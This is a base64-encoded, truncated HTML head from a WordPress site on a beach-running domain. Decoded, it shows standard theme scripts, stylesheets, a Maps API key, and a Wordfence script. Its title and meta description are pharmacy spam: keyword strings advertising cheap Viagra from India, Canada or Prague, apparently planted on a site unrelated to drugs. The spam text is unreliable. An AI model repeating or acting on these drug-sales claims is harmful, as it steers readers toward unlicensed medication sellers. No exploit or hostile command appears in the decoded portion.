PSAndGFyZ2V0LWRlbnNpdHlkcGk9ZGV2aWNlLWRwaSwgd2lkdGg9ZGV2aWNlLXdpZHRoJzsgfXZhciBtID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ21ldGEnKVswXTsgbS5wYXJlbnROb2RlLmluc2VydEJlZm9yZShtZXRhLG0pOzwvc2NyaXB0PiAJCTxtZXRhIG5hbWU9IkF1dGhvciIgY29udGVudD0iQWl0VGhlbWVzLmNsdWIsIGh0dHA6Ly93d3cuYWl0LXRoZW1lcy5jbHViIiAvPgoKCQk8dGl0bGU+VmlhZ3JhIGhhcmQgb248L3RpdGxlPgo8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iQ29tbWVyY2lhbCB2aWFncmEuIFNob3AgVmlhZ3JhIGluIEN6ZWNoIFJlcHVibGljIFByYWd1ZS4gRmlyc3QgdGltZSB2aWFncmEgdXNlLiBWaWFncmEgd2hlbiB0byB0YWtlLiBQdXJjaGFzZSBWaWFncmEgaW4gQXNjZW5zaW9uIElzbGFuZCBHZW9yZ2V0b3duLiBWaWFncmEgZnJvbSBjYW5hZGEgY25uLiBBbiBhbHRlcm5hdGl2ZSB0byB2aWFncmEuIENhaWxpcyB2cyB2aWFncmEuIFZpYWdyYSBpbiB0aGUgd2F0ZXJzLiBDaGVhcCB2aWFncmEgZnJvbSBpbmRpYS4iPgoJCTxsaW5rIHJlbD0icHJvZmlsZSIgaHJlZj0iaHR0cDovL2dtcGcub3JnL3hmbi8xMSIgLz4KCQk8bGluayByZWw9InBpbmdiYWNrIiBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMveG1scnBjLnBocCIgLz4KCgkJPGxpbmsgaHJlZj0iaHR0cDovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9T3N3YWxkIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiAvPgoKCQk8bGluayBpZD0iYWl0LXN0eWxlIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBtZWRpYT0iYWxsIiBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L3N0eWxlLmNzcz8xNTA1MzU2NTk5IiAvPgoKPGxpbmsgcmVsPSdkbnMtcHJlZmV0Y2gnIGhyZWY9Jy8vbWFwcy5nb29nbGUuY29tJyAvPgo8bGluayByZWw9J2Rucy1wcmVmZXRjaCcgaHJlZj0nLy9zLncub3JnJyAvPgoKCgkJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJCQl3aW5kb3cuX3dwZW1vamlTZXR0aW5ncyA9IHsiYmFzZVVybCI6Imh0dHBzOlwvXC9zLncub3JnXC9pbWFnZXNcL2NvcmVcL2Vtb2ppXC8xMVwvNzJ4NzJcLyIsImV4dCI6Ii5wbmciLCJzdmdVcmwiOiJodHRwczpcL1wvcy53Lm9yZ1wvaW1hZ2VzXC9jb3JlXC9lbW9qaVwvMTFcL3N2Z1wvIiwic3ZnRXh0IjoiLnN2ZyIsInNvdXJjZSI6eyJjb25jYXRlbW9qaSI6Imh0dHA6XC9cL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzXC93cC1pbmNsdWRlc1wvanNcL3dwLWVtb2ppLXJlbGVhc2UubWluLmpzP3Zlcj00LjkuMTAifX07CgkJCSFmdW5jdGlvbihhLGIsYyl7ZnVuY3Rpb24gZChhLGIpe3ZhciBjPVN0cmluZy5mcm9tQ2hhckNvZGU7bC5jbGVhclJlY3QoMCwwLGsud2lkdGgsay5oZWlnaHQpLGwuZmlsbFRleHQoYy5hcHBseSh0aGlzLGEpLDAsMCk7dmFyIGQ9ay50b0RhdGFVUkwoKTtsLmNsZWFyUmVjdCgwLDAsay53aWR0aCxrLmhlaWdodCksbC5maWxsVGV4dChjLmFwcGx5KHRoaXMsYiksMCwwKTt2YXIgZT1rLnRvRGF0YVVSTCgpO3JldHVybiBkPT09ZX1mdW5jdGlvbiBlKGEpe3ZhciBiO2lmKCFsfHwhbC5maWxsVGV4dClyZXR1cm4hMTtzd2l0Y2gobC50ZXh0QmFzZWxpbmU9InRvcCIsbC5mb250PSI2MDAgMzJweCBBcmlhbCIsYSl7Y2FzZSJmbGFnIjpyZXR1cm4hKGI9ZChbNTUzNTYsNTY4MjYsNTUzNTYsNTY4MTldLFs1NTM1Niw1NjgyNiw4MjAzLDU1MzU2LDU2ODE5XSkpJiYoYj1kKFs1NTM1Niw1NzMzMiw1NjEyOCw1NjQyMyw1NjEyOCw1NjQxOCw1NjEyOCw1NjQyMSw1NjEyOCw1NjQzMCw1NjEyOCw1NjQyMyw1NjEyOCw1NjQ0N10sWzU1MzU2LDU3MzMyLDgyMDMsNTYxMjgsNTY0MjMsODIwMyw1NjEyOCw1NjQxOCw4MjAzLDU2MTI4LDU2NDIxLDgyMDMsNTYxMjgsNTY0MzAsODIwMyw1NjEyOCw1NjQyMyw4MjAzLDU2MTI4LDU2NDQ3XSksIWIpO2Nhc2UiZW1vamkiOnJldHVybiBiPWQoWzU1MzU4LDU2NzYwLDk3OTIsNjUwMzldLFs1NTM1OCw1Njc2MCw4MjAzLDk3OTIsNjUwMzldKSwhYn1yZXR1cm4hMX1mdW5jdGlvbiBmKGEpe3ZhciBjPWIuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7Yy5zcmM9YSxjLmRlZmVyPWMudHlwZT0idGV4dC9qYXZhc2NyaXB0IixiLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF0uYXBwZW5kQ2hpbGQoYyl9dmFyIGcsaCxpLGosaz1iLmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLGw9ay5nZXRDb250ZXh0JiZrLmdldENvbnRleHQoIjJkIik7Zm9yKGo9QXJyYXkoImZsYWciLCJlbW9qaSIpLGMuc3VwcG9ydHM9e2V2ZXJ5dGhpbmc6ITAsZXZlcnl0aGluZ0V4Y2VwdEZsYWc6ITB9LGk9MDtpPGoubGVuZ3RoO2krKyljLnN1cHBvcnRzW2pbaV1dPWUoaltpXSksYy5zdXBwb3J0cy5ldmVyeXRoaW5nPWMuc3VwcG9ydHMuZXZlcnl0aGluZyYmYy5zdXBwb3J0c1tqW2ldXSwiZmxhZyIhPT1qW2ldJiYoYy5zdXBwb3J0cy5ldmVyeXRoaW5nRXhjZXB0RmxhZz1jLnN1cHBvcnRzLmV2ZXJ5dGhpbmdFeGNlcHRGbGFnJiZjLnN1cHBvcnRzW2pbaV1dKTtjLnN1cHBvcnRzLmV2ZXJ5dGhpbmdFeGNlcHRGbGFnPWMuc3VwcG9ydHMuZXZlcnl0aGluZ0V4Y2VwdEZsYWcmJiFjLnN1cHBvcnRzLmZsYWcsYy5ET01SZWFkeT0hMSxjLnJlYWR5Q2FsbGJhY2s9ZnVuY3Rpb24oKXtjLkRPTVJlYWR5PSEwfSxjLnN1cHBvcnRzLmV2ZXJ5dGhpbmd8fChoPWZ1bmN0aW9uKCl7Yy5yZWFkeUNhbGxiYWNrKCl9LGIuYWRkRXZlbnRMaXN0ZW5lcj8oYi5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIixoLCExKSxhLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGgsITEpKTooYS5hdHRhY2hFdmVudCgib25sb2FkIixoKSxiLmF0dGFjaEV2ZW50KCJvbnJlYWR5c3RhdGVjaGFuZ2UiLGZ1bmN0aW9uKCl7ImNvbXBsZXRlIj09PWIucmVhZHlTdGF0ZSYmYy5yZWFkeUNhbGxiYWNrKCl9KSksZz1jLnNvdXJjZXx8e30sZy5jb25jYXRlbW9qaT9mKGcuY29uY2F0ZW1vamkpOmcud3BlbW9qaSYmZy50d2Vtb2ppJiYoZihnLnR3ZW1vamkpLGYoZy53cGVtb2ppKSkpfSh3aW5kb3csZG9jdW1lbnQsd2luZG93Ll93cGVtb2ppU2V0dGluZ3MpOwoJCTwvc2NyaXB0PgoJCTxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmltZy53cC1zbWlsZXksCmltZy5lbW9qaSB7CglkaXNwbGF5OiBpbmxpbmUgIWltcG9ydGFudDsKCWJvcmRlcjogbm9uZSAhaW1wb3J0YW50OwoJYm94LXNoYWRvdzogbm9uZSAhaW1wb3J0YW50OwoJaGVpZ2h0OiAxZW0gIWltcG9ydGFudDsKCXdpZHRoOiAxZW0gIWltcG9ydGFudDsKCW1hcmdpbjogMCAuMDdlbSAhaW1wb3J0YW50OwoJdmVydGljYWwtYWxpZ246IC0wLjFlbSAhaW1wb3J0YW50OwoJYmFja2dyb3VuZDogbm9uZSAhaW1wb3J0YW50OwoJcGFkZGluZzogMCAhaW1wb3J0YW50Owp9Cjwvc3R5bGU+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2d0cmFuc2xhdGUtc3R5bGUtY3NzJyAgaHJlZj0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9ndHJhbnNsYXRlL2d0cmFuc2xhdGUtc3R5bGUyNC5jc3M/dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2NvbnRhY3QtZm9ybS03LWNzcycgIGhyZWY9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvY29udGFjdC1mb3JtLTcvaW5jbHVkZXMvY3NzL3N0eWxlcy5jc3M/dmVyPTQuOScgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3JzLXBsdWdpbi1zZXR0aW5ncy1jc3MnICBocmVmPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL3JldnNsaWRlci9ycy1wbHVnaW4vY3NzL3NldHRpbmdzLmNzcz9yZXY9NC42LjAmIzAzODt2ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPHN0eWxlIGlkPSdycy1wbHVnaW4tc2V0dGluZ3MtaW5saW5lLWNzcycgdHlwZT0ndGV4dC9jc3MnPgoudHAtY2FwdGlvbiBhe2NvbG9yOiNmZjczMDI7dGV4dC1zaGFkb3c6bm9uZTstd2Via2l0LXRyYW5zaXRpb246YWxsIDAuMnMgZWFzZS1vdXQ7LW1vei10cmFuc2l0aW9uOmFsbCAwLjJzIGVhc2Utb3V0Oy1vLXRyYW5zaXRpb246YWxsIDAuMnMgZWFzZS1vdXQ7LW1zLXRyYW5zaXRpb246YWxsIDAuMnMgZWFzZS1vdXR9LnRwLWNhcHRpb24gYTpob3Zlcntjb2xvcjojZmZhOTAyfQo8L3N0eWxlPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdhaXQtanF1ZXJ5LXByZXR0eVBob3RvLWNzcycgIGhyZWY9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2Nzcy9wcmV0dHlQaG90by5jc3M/dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2FpdC1qcXVlcnktZmFuY3lib3gtY3NzJyAgaHJlZj0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vY3NzL2ZhbmN5Ym94L2pxdWVyeS5mYW5jeWJveC0xLjMuNC5jc3M/dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2FpdC1qcXVlcnktaG92ZXItem9vbS1jc3MnICBocmVmPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9jc3MvaG92ZXJab29tLmNzcz92ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nYWl0LWpxdWVyeS1mYW5jeWNoZWNrYm94LWNzcycgIGhyZWY9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2Nzcy9qcXVlcnkuZmFuY3ljaGVja2JveC5taW4uY3NzP3Zlcj00LjkuMTAnIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdqcXVlcnktdWktY3NzLWNzcycgIGhyZWY9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2Nzcy9qcXVlcnktdWktMS4xMC4xLmN1c3RvbS5taW4uY3NzP3Zlcj00LjkuMTAnIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS5qcz92ZXI9MS4xMi40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS9qcXVlcnktbWlncmF0ZS5taW4uanM/dmVyPTEuNC4xJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9kaXJlY3RvcnktZXh0ZW5zaW9uLXBsdWdpbi8vbGlicy9mcm9udEVuZFNjcmlwdHMuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZGlyZWN0b3J5LWV4dGVuc2lvbi1wbHVnaW4vL2xpYnMvanF1ZXJ5LmpjYXJvdXNlbC5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZGlyZWN0b3J5LWV4dGVuc2lvbi1wbHVnaW4vL2xpYnMvYmZfc2NyaXB0LmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2RpcmVjdG9yeS1leHRlbnNpb24tcGx1Z2luLy9saWJzL3NjcmlwdC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9yZXZzbGlkZXIvcnMtcGx1Z2luL2pzL2pxdWVyeS50aGVtZXB1bmNoLnRvb2xzLm1pbi5qcz9yZXY9NC42LjAmIzAzODt2ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9yZXZzbGlkZXIvcnMtcGx1Z2luL2pzL2pxdWVyeS50aGVtZXB1bmNoLnJldm9sdXRpb24ubWluLmpzP3Jldj00LjYuMCYjMDM4O3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5mYW5jeWNoZWNrYm94Lm1pbi5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkuaHRtbDUtcGxhY2Vob2xkZXItc2hpbS5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL21hcHMuZ29vZ2xlLmNvbS9tYXBzL2FwaS9qcz9rZXk9QUl6YVN5RDFuaHlySnJ5SFFFME42T1Foa29xd0VMQk0weE81ME5JJiMwMzg7c2Vuc29yPWZhbHNlJiMwMzg7bGFuZ3VhZ2U9ZW5fVVMmIzAzODt2ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9nbWFwMy5pbmZvYm94LmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2dtYXAzLm1pbi5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkuaW5maWVsZGxhYmVsLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5wcmV0dHlQaG90by5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkuZmFuY3lib3gtMS4zLjQuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5LmVhc2luZy0xLjMubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5uaWNlc2Nyb2xsLm1pbi5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkucXVpY2tzYW5kLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2hvdmVyLnpvb20uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5LmZpbmlzaGVkVHlwaW5nLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL3NwaW4ubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL21vZGVybml6ci50b3VjaC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvZ3JpZGdhbGxlcnkuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL3JhdGluZy5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPgovKiA8IVtDREFUQVsgKi8KdmFyIE15QWpheCA9IHsiYWpheHVybCI6Imh0dHA6XC9cL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzXC93cC1hZG1pblwvYWRtaW4tYWpheC5waHAiLCJhamF4bm9uY2UiOiI1NTZhYmRlZTIzIn07Ci8qIF1dPiAqLwo8L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvc2NyaXB0LmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8bGluayByZWw9J2h0dHBzOi8vYXBpLncub3JnLycgaHJlZj0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL2luZGV4LnBocD9yZXN0X3JvdXRlPS8nIC8+CjxsaW5rIHJlbD0iRWRpdFVSSSIgdHlwZT0iYXBwbGljYXRpb24vcnNkK3htbCIgdGl0bGU9IlJTRCIgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3htbHJwYy5waHA/cnNkIiAvPgo8bGluayByZWw9Indsd21hbmlmZXN0IiB0eXBlPSJhcHBsaWNhdGlvbi93bHdtYW5pZmVzdCt4bWwiIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1pbmNsdWRlcy93bHdtYW5pZmVzdC54bWwiIC8+IAo8bGluayByZWw9ImNhbm9uaWNhbCIgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9wPTgyODgiID4KPGxpbmsgcmVsPSdzaG9ydGxpbmsnIGhyZWY9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/cD04Mjg4JyAvPgoKCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KKGZ1bmN0aW9uKHVybCl7CglpZigvKD86Q2hyb21lXC8yNlwuMFwuMTQxMFwuNjMgU2FmYXJpXC81MzdcLjMxfFdvcmRmZW5jZVRlc3RNb25Cb3QpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKXsgcmV0dXJuOyB9Cgl2YXIgYWRkRXZlbnQgPSBmdW5jdGlvbihldnQsIGhhbmRsZXIpIHsKCQlpZiAod2luZG93LmFkZEV2ZW50TGlzdGVuZXIpIHsKCQkJZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcihldnQsIGhhbmRsZXIsIGZhbHNlKTsKCQl9IGVsc2UgaWYgKHdpbmRvdy5hdHRhY2hFdmVudCkgewoJCQlkb2N1bWVudC5hdHRhY2hFdmVudCgnb24nICsgZXZ0LCBoYW5kbGVyKTsKCQl9Cgl9OwoJdmFyIHJlbW92ZUV2ZW50ID0gZnVuY3Rpb24oZXZ0LCBoYW5kbGVyKSB7CgkJaWYgKHdpbmRvdy5yZW1vdmVFdmVudExpc3RlbmVyKSB7CgkJCWRvY3VtZW50LnJlbW92ZUV2ZW50TGlzdGVuZXIoZXZ0LCBoYW5kbGVyLCBmYWxzZSk7CgkJfSBlbHNlIGlmICh3aW5kb3cuZGV0YWNoRXZlbnQpIHsKCQkJZG9jdW1lbnQuZGV0YWNoRXZlbnQoJ29uJyArIGV2dCwgaGFuZGxlcik7CgkJfQoJfTsKCXZhciBldnRzID0gJ2NvbnRleHRtZW51IGRibGNsaWNrIGRyYWcgZHJhZ2VuZCBkcmFnZW50ZXIgZHJhZ2xlYXZlIGRyYWdvdmVyIGRyYWdzdGFydCBkcm9wIGtleWRvd24ga2V5cHJlc3Mga2V5dXAgbW91c2Vkb3duIG1vdXNlbW92ZSBtb3VzZW91dCBtb3VzZW92ZXIgbW91c2V1cCBtb3VzZXdoZWVsIHNjcm9sbCcuc3BsaXQoJyAnKTsKCXZhciBsb2dIdW1hbiA9IGZ1bmN0aW9uKCkgewoJCXZhciB3ZnNjciA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwoJCXdmc2NyLnR5cGUgPSAndGV4dC9qYXZhc2NyaXB0JzsKCQl3ZnNjci5hc3luYyA9IHRydWU7CgkJd2ZzY3Iuc3JjID0gdXJsICsgJyZyPScgKyBNYXRoLnJhbmRvbSgpOwoJCShkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaGVhZCcpWzBdfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnYm9keScpWzBdKS5hcHBlbmRDaGlsZCh3ZnNjcik7CgkJZm9yICh2YXIgaSA9IDA7IGkgPCBldnRzLmxlbmd0aDsgaSsrKSB7CgkJCXJlbW92ZUV2ZW50KGV2dHNbaV0sIGxvZ0h1bWFuKTsKCQl9Cgl9OwoJZm9yICh2YXIgaSA9IDA7IGkgPCBldnRzLmxlbmd0aDsgaSsrKSB7CgkJYWRkRXZlbnQoZXZ0c1tpXSwgbG9nSHVtYW4pOwoJfQp9KSgnLy9mdW5ydW5uZXJzYmVhY2hlcy51cy8/d29yZGZlbmNlX2xoPTEmaGlkPTNEODVFNENGMEIyRTRBRTUzRjI3MEI3OEEzRjAzQkM3Jyk7Cjwvc2NyaXB0PjxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDE2LzEyL3BhdzEtMTUweDE1MC5wbmciIHNpemVzPSIzMngzMiIgLz4KPGxpbmsgcmVsPSJpY29uIiBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC91cGxvYWRzLzIwMTYvMTIvcGF3MS0zMDB4MzAwLnBuZyIgc2l6ZXM9IjE5MngxOTIiIC8+CjxsaW5rIHJlbD0iYXBwbGUtdG91Y2gtaWNvbi1wcmVjb21wb3NlZCIgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDE2LzEyL3BhdzEtMzAweDMwMC5wbmciIC8+CjxtZXRhIG5hbWU9Im1zYXBwbGljYXRpb24tVGlsZUltYWdlIiBjb250ZW50PSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC91cGxvYWRzLzIwMT